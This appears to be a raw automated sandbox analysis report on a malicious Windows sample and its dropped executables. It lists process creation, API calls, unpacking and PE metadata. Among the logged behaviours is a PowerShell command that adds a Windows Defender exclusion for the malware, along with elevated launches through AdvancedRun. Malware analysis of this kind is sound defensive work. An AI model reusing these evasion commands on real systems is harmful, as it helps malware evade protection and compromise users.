Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9CFDD3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	22_2_6A914DC0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9595C0 ZwSetEvent,	22_2_6A9595C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93EDC4 ZwCancelWaitCompletionPacket,	22_2_6A93EDC4
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9195F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	22_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9595F0 ZwQueryInformationFile,	22_2_6A9595F0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	22_2_6A9CBDFA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959DE0 ZwAssociateWaitCompletionPacket,	22_2_6A959DE0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1D0B ZwSetInformationProcess,	22_2_6A9A1D0B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8D34
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	22_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A941520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959520 ZwWaitForSingleObject,	22_2_6A959520
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFD22 ZwQueryInformationProcess,RtlUniform,	22_2_6A9CFD22
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	22_2_6A9E1D55
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1D43 ZwQueryInformationThread,	22_2_6A9A1D43
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959D70 ZwAlpcQueryInformation,	22_2_6A959D70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	22_2_6A9A1570
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1D6A ZwWaitForMultipleObjects,	22_2_6A9A1D6A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D6D61 ZwAllocateVirtualMemoryEx,	22_2_6A9D6D61
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 23_2_028648D8 NtAllocateVirtualMemory,	23_2_028648D8
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 23_2_028648D0 NtAllocateVirtualMemory,	23_2_028648D0
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401915 Sleep,NtTerminateProcess,	28_2_00401915
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402040 NtQuerySystemInformation,	28_2_00402040
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402242 NtQuerySystemInformation,	28_2_00402242
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402313 NtOpenKey,	28_2_00402313
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401921 Sleep,NtTerminateProcess,	28_2_00401921
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401931 Sleep,NtTerminateProcess,	28_2_00401931
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402535 NtEnumerateKey,	28_2_00402535
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401938 Sleep,NtTerminateProcess,	28_2_00401938
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401FD8 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,	28_2_00401FD8
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401FFE NtQuerySystemInformation,LocalAlloc,	28_2_00401FFE
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402190 NtQuerySystemInformation,	28_2_00402190
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401493 NtAllocateVirtualMemory,	28_2_00401493
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_0040199B Sleep,NtTerminateProcess,	28_2_0040199B
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_004021B5 NtQuerySystemInformation,	28_2_004021B5

Source: CD0D.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 3D1.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: B82B.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C1B2.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 9C1A.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: fijbuft.4.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 25Kf6vSBoq.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\irjbuft

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@44/20@59/8

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

27_2_00401306

Source: 25Kf6vSBoq.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_0040A33B FindResourceW,SizeofResource,LoadResource,LockResource,

27_2_0040A33B

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\25Kf6vSBoq.exe 'C:\Users\user\Desktop\25Kf6vSBoq.exe'
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Process created: C:\Users\user\Desktop\25Kf6vSBoq.exe 'C:\Users\user\Desktop\25Kf6vSBoq.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6EC5.exe C:\Users\user~1\AppData\Local\Temp\6EC5.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process created: C:\Users\user\AppData\Local\Temp\6EC5.exe C:\Users\user~1\AppData\Local\Temp\6EC5.exe
Source: C:\Users\user\AppData\Roaming\irjbuft	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B82B.exe C:\Users\user~1\AppData\Local\Temp\B82B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C1B2.exe C:\Users\user~1\AppData\Local\Temp\C1B2.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CD0D.exe C:\Users\user~1\AppData\Local\Temp\CD0D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe C:\Users\user~1\AppData\Local\Temp\DF9C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EA8A.exe C:\Users\user~1\AppData\Local\Temp\EA8A.exe
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F4BC.exe C:\Users\user~1\AppData\Local\Temp\F4BC.exe
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe DF9C.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3D1.exe C:\Users\user~1\AppData\Local\Temp\3D1.exe
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /SpecialRun 4101d8 6864
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe'
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe'
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe DF9C.exe
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Roaming\irjbuft	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe 'C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe'
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Process created: C:\Users\user\Desktop\25Kf6vSBoq.exe 'C:\Users\user\Desktop\25Kf6vSBoq.exe'	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6EC5.exe C:\Users\user~1\AppData\Local\Temp\6EC5.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B82B.exe C:\Users\user~1\AppData\Local\Temp\B82B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C1B2.exe C:\Users\user~1\AppData\Local\Temp\C1B2.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CD0D.exe C:\Users\user~1\AppData\Local\Temp\CD0D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe C:\Users\user~1\AppData\Local\Temp\DF9C.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EA8A.exe C:\Users\user~1\AppData\Local\Temp\EA8A.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F4BC.exe C:\Users\user~1\AppData\Local\Temp\F4BC.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Process created: C:\Users\user\AppData\Local\Temp\6EC5.exe C:\Users\user~1\AppData\Local\Temp\6EC5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\irjbuft	Process created: C:\Users\user\AppData\Roaming\irjbuft C:\Users\user\AppData\Roaming\irjbuft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\DF9C.exe DF9C.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Process created: C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /SpecialRun 4101d8 6864
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Process created: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe 'C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe'

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_00408FC9 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueW,GetProcAddress,AdjustTokenPrivileges,GetLastError,FindCloseChangeNotification,

27_2_00408FC9

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\6EC5.tmp

Jump to behavior

Source: EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	Binary or memory string: INSERT INTO [dbo].[Details] ([Employee Id], [Title], [First Name], [Last Name], [Email], [Phone Number], [Hire Date], [Date of Birth], [Basic Pay], [House Rental Allowance], [Dearness Allowance], [Provident Fund], [Date of Leaving], [Grade]) VALUES (@Employee_Id, @Title, @First_Name, @Last_Name, @Email, @Phone_Number, @Hire_Date, @Date_of_Birth, @Basic_Pay, @House_Rental_Allowance, @Dearness_Allowance, @Provident_Fund, @Date_of_Leaving, @Grade);
Source: EA8A.exe, 00000018.00000000.417957368.0000000000FA2000.00000002.00020000.sdmp	Binary or memory string: UPDATE [dbo].[Details] SET [Employee Id] = @Employee_Id, [Title] = @Title, [First Name] = @First_Name, [Last Name] = @Last_Name, [Email] = @Email, [Phone Number] = @Phone_Number, [Hire Date] = @Hire_Date, [Date of Birth] = @Date_of_Birth, [Basic Pay] = @Basic_Pay, [House Rental Allowance] = @House_Rental_Allowance, [Dearness Allowance] = @Dearness_Allowance, [Provident Fund] = @Provident_Fund, [Date of Leaving] = @Date_of_Leaving, [Grade] = @Grade WHERE (([Employee Id] = @Original_Employee_Id) AND ([Title] = @Original_Title) AND ([First Name] = @Original_First_Name) AND ([Last Name] = @Original_Last_Name) AND ((@IsNull_Phone_Number = 1 AND [Phone Number] IS NULL) OR ([Phone Number] = @Original_Phone_Number)) AND ([Hire Date] = @Original_Hire_Date) AND ([Date of Birth] = @Original_Date_of_Birth) AND ([Basic Pay] = @Original_Basic_Pay) AND ((@IsNull_House_Rental_Allowance = 1 AND [House Rental Allowance] IS NULL) OR ([House Rental Allowance] = @Original_House_Rental_Allowance)) AND ((@IsNull_Dearness_Allowance = 1 AND [Dearness Allowance] IS NULL) OR ([Dearness Allowance] = @Original_Dearness_Allowance)) AND ((@IsNull_Provident_Fund = 1 AND [Provident Fund] IS NULL) OR ([Provident Fund] = @Original_Provident_Fund)) AND ((@IsNull_Date_of_Leaving = 1 AND [Date of Leaving] IS NULL) OR ([Date of Leaving] = @Original_Date_of_Leaving)) AND ([Grade] = @Original_Grade));

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe

Code function: 27_2_004095FD CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

27_2_004095FD

Source: C:\Users\user\AppData\Local\Temp\F4BC.exe

Command line argument: \H

28_2_0043C2B0

Source: DF9C.exe.4.dr, ??????????????/_?????xptkvqfesn.cs

Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\B82B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\B82B.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 25Kf6vSBoq.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 25Kf6vSBoq.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\vojos\fuw.pdb source: CD0D.exe, 00000016.00000000.407750577.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: DF9C.exe
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001B.00000000.419935360.000000000040C000.00000002.00020000.sdmp
Source:	Binary string: C:\ciwomo siju28 nijohon\93-loze\2.pdb source: F4BC.exe
Source:	Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: 25Kf6vSBoq.exe, 00000001.00000000.243151680.0000000000401000.00000020.00020000.sdmp, 25Kf6vSBoq.exe, 00000002.00000000.254410960.0000000000401000.00000020.00020000.sdmp, 6EC5.exe, 0000000D.00000000.348402437.0000000000401000.00000020.00020000.sdmp, irjbuft, 0000000E.00000000.347743203.0000000000401000.00000020.00020000.sdmp, 6EC5.exe, 0000000F.00000000.367434923.0000000000401000.00000020.00020000.sdmp, irjbuft, 00000010.00000000.374293727.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: CD0D.exe, 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb source: CD0D.exe
Source:	Binary string: `C:\ciwomo siju28 nijohon\93-loze\2.pdb` source: F4BC.exe, 0000001C.00000000.424216485.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Unpacked PE file: 22.2.CD0D.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Unpacked PE file: 28.2.F4BC.exe.400000.0.unpack .text:ER;.data:W;.daya:W;.rsrc:R;.reloc:R; vs .text:EW;

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 1_2_02E70DD5 push ds; ret	1_2_02E70DE2
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Code function: 21_2_00EAD37C push esi; iretd	21_2_00EAD388
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E54 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E63 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402665 push cs; ret	22_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_0040290C push eax; iretd	22_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E16 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402DC0 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402DD8 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402DE8 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402DF1 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E82 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E85 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402D92 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E95 push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00401D9A pushad ; ret	22_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402E9C push eax; ret	22_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A96D0D1 push ecx; ret	22_2_6A96D0E4
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Code function: 27_2_0040B550 push eax; ret	27_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Code function: 27_2_0040B550 push eax; ret	27_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe	Code function: 27_2_0040B50D push ecx; ret	27_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401A61 push ds; retf	28_2_00401A69
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401569 push edx; iretd	28_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401569 push edx; iretd	28_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402874 push esp; iretd	28_2_00402875
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401575 push edx; iretd	28_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00402F19 push eax; ret	28_2_00402FEA
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_004015D3 push edx; iretd	28_2_004015EB
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_004026D8 push ds; retf	28_2_004026DC
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401580 push edx; iretd	28_2_004015D2
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_00401981 push ebx; retf	28_2_00401982

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe

Code function: 1_2_00427060 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_00427060

Source: B82B.exe.4.dr

Static PE information: 0x8B87D1F5 [Mon Mar 7 03:28:53 2044 UTC]

Source: 25Kf6vSBoq.exe	Static PE information: section name: .lufulac
Source: F4BC.exe.4.dr	Static PE information: section name: .daya
